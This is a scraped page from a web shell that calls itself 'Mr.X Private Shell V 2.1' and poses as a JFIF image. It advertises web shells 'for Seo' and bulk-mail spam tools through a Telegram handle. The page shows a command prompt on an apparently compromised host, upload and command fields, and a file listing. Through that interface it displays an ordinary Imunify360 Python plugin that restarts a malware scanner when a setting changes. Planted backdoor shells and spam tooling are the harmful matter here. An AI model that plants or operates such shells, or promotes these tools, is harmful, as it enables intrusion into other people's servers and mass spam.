����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
"""
This program is free software: you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License,
or (at your option) any later version.


This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
See the GNU General Public License for more details.


You should have received a copy of the GNU General Public License
 along with this program.  If not, see <https://www.gnu.org/licenses/>.

Copyright © 2019 Cloud Linux Software Inc.

This software is also available under ImunifyAV commercial license,
see <https://www.imunify360.com/legal/eula>
"""
import logging

from defence360agent.contracts.config import SystemConfig
from defence360agent.contracts.messages import ConfigUpdate
from defence360agent.contracts.plugins import MessageSink, expect
from defence360agent.utils import LazyLock, Scope
from imav.contracts.config import Malware as MalwareConfig
from imav.malwarelib.subsys import aibolit
from imav.malwarelib.subsys.malware import HackerTrapHitsSaver

logger = logging.getLogger(__name__)


class DetectAdminToolsWatcher(MessageSink):
    SCOPE = Scope.IM360
    # Must be a class attribute — LazyLock is a descriptor whose
    # ``__get__`` is only invoked for class-level access. Without the
    # lock, two ConfigUpdate messages in the same event-loop tick can
    # read the same ``_previous_detect_admin_tools`` snapshot and fire
    # the resync in the wrong order. See DEF-38724.
    _lock = LazyLock()

    def __init__(self):
        self._previous_detect_admin_tools = MalwareConfig.DETECT_ADMIN_TOOLS

    async def create_sink(self, loop) -> None:
        # Boot-time rebuild owned by ``StartupActions.reset_sa_hits``
        # (which honours DETECT_ADMIN_TOOLS via the SQL filter).
        pass

    @expect(ConfigUpdate)
    async def on_config_update(self, message: ConfigUpdate):
        if not isinstance(message["conf"], SystemConfig):
            return
        async with self._lock:
            current_value = MalwareConfig.DETECT_ADMIN_TOOLS
            if self._previous_detect_admin_tools == current_value:
                return
            logger.info(
                "DETECT_ADMIN_TOOLS changed from %s to %s, restarting"
                " ai-bolit",
                self._previous_detect_admin_tools,
                current_value,
            )
            self._previous_detect_admin_tools = current_value
            await aibolit.restart_on_detect_admin_tools_update()
            await HackerTrapHitsSaver.reset_sa_hits()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
aibolit_resident_ff_watcher.py File 10.06 KB 0644
check_license.py File 9.27 KB 0644
conflicts.py File 3.18 KB 0644
detect_admin_tools_watcher.py File 2.64 KB 0644
event_hook_executor.py File 3.72 KB 0644
event_hooks.py File 3.47 KB 0644
generic_sensor.py File 5.82 KB 0644
im360_register.py File 2.82 KB 0644
imunify_patch_id.py File 2.33 KB 0644
inotify.py File 1.75 KB 0644
malware_filters.py File 3.59 KB 0644
mr_proper.py File 2.67 KB 0644
plesk_notifications.py File 4.59 KB 0644
post_action.py File 1.72 KB 0644
restore_from_backup.py File 3.37 KB 0644
send_malware_infection_state.py File 11.51 KB 0644
server_pull.py File 2.56 KB 0644
service_manager.py File 2.63 KB 0644